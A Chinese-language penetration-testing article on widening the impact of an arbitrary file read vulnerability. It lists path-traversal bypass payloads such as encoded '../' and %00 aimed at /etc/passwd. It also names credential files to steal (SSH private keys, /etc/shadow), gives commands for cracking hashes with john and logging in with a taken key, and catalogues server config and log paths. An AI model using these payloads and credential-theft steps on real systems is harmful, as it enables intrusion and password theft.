前言
当我们遇到任意文件读取漏洞的时候,我们需要考虑如何通过这一个小点去扩大我们的成果,达到最大化利用的目的。本篇文章主要介绍了一些在我们拿到任意文件读取点后的深入利用姿势,希望对大家能有所帮助。
常见读取的敏感文件路径
windows
|
|
Linux
|
|
绕过思路
可以进行fuzz
- url编码代替.或者/,如使用%2F代替/
?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd
- 二次编码(%25)
?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd
- 加入+
?filename=.+./.+./bin/redacted.dll
- %00
?filename=.%00./file.php
/etc/passwd%00.jpg
\
?filename=..%5c..%5c/windows/win.ini
- Java %c0%ae 安全模式绕过
?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Linux下的常见利用知识
用户目录下的敏感文件
|
|
历史命令重点关注出现的密码、路径、配置文件路径、其他关联IP、日志文件、war包、备份文件路径
等等,可进一步读取或利用。
PS:如要下载文件,可能会导致过大文件下载失败,可以使用wget进行下载,比如catanlina.out日志文件、war包、备份文件等等。
主机凭证文件
私钥文件
|
|
私钥文件如果没有设定密码保护,便可直接获取到进行登录到服务器,或使用xshell等软件选择证书登录。
ssh -i id_rsa root@IP地址
系统密码
/etc/passwd
|
|
可以看到哪些用户可以登录
/etc/shadow
|
|
id代表的是使用不同的加密算法,不同的系统使用的算法也不尽相同。salt是加密的时候需要用到盐。最后就是密文。 注意:如果密码字符串为*,表示系统用户不能被登入,为!表示用户名被禁用,如果密码字符串为空,表示没有密码。
格式 | 算法 |
---|---|
$1 | md5 |
$2a | blowfish |
$2y | blowfish |
$5 | sha-256 |
$6 | sha-512 |
- 在线查询
- john破解
unshadow /etc/passwd /etc/shadow > test_passwd
john --wordlist=字典路径 test_passw
默认密码字典位于/usr/share/john/password.ls
全路径
mlocate.db数据库里存储了本地所有文件的配置信息
/var/lib/mlocate/mlocate.db
利用locate命令将数据输出成文件,这里面包含了全部的文件路径信息
locate mlocate.db config
把包含config的路径全输出出来
locate mlocate.db webapps
locate mlocate.db www
获取到路径后可以进一步挖掘敏感信息和系统漏洞
程序源代码
利用全路径或者其他地方获取到的路径读取一些关键的程序源码。
读取WEB-INF/web.xml
,进一步读取class文件,反编译得到源码。
读取war包,反编译获取源码。
应用配置文件
获取到网站的相关配置信息,包括站点配置、数据库配置等等,也可进一步获取到源码。
- java站点
/WEB-INF/web.xml
/WEB-INF/classes/applicationContext.xml
/WEB-INF/classes/xxx/xxx/xxx.class
core.jar
如果遇到Shiro站点,可以直接利用全路径找到core.jar,去下载core.jar,下载后反编译搜索Base64.decode
直接找key,进而getshell。 - tomcat
/usr/local/tomcat/conf/tomcat-users.xml
- nginx
/www/nginx/conf/nginx.conf
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
- apache
/etc/httpd/conf/httpd.conf
/etc/apache2/apache2.conf
/etc/apache2/httpd.conf
- redis
/etc/redis.conf
- ssh
/etc/ssh/sshd_config
应用日志文件
利用日志文件获取网站后台地址、api接口、备份、等等敏感信息。
- tomcat
可以先找到
/tomcat/bin/catalina.sh
,里边有log的配置路径/webapps/ROOT/logs/catalina.out
- apache
/var/log/apache2/access.log
/var/log/apache2/error.log
/var/log/httpd/access_log
/etc/httpd/logs/access_log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
- nginx
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/var/log/nginx/access.log
/usr/local/nginx/logs
Windows下的利用知识
盲读取桌面文件
有些时候,管理员会图方便,在桌面存储一些敏感的文件,我们可以直接对桌面的一些文件名进行fuzz,比如1.txt、2.txt、密码.txt、pass.txt等等,进一步扩大战果。
总结
在漏洞利用层面,除了去关注一键RCE,我们不妨也可以试着去思考一下其他类型漏洞的最大化利用。当一个微小的漏洞和神奇的思路碰撞在一起,往往也能产生意想不到的效果。记住,发散你的思维,让漏洞发挥出最大的价值!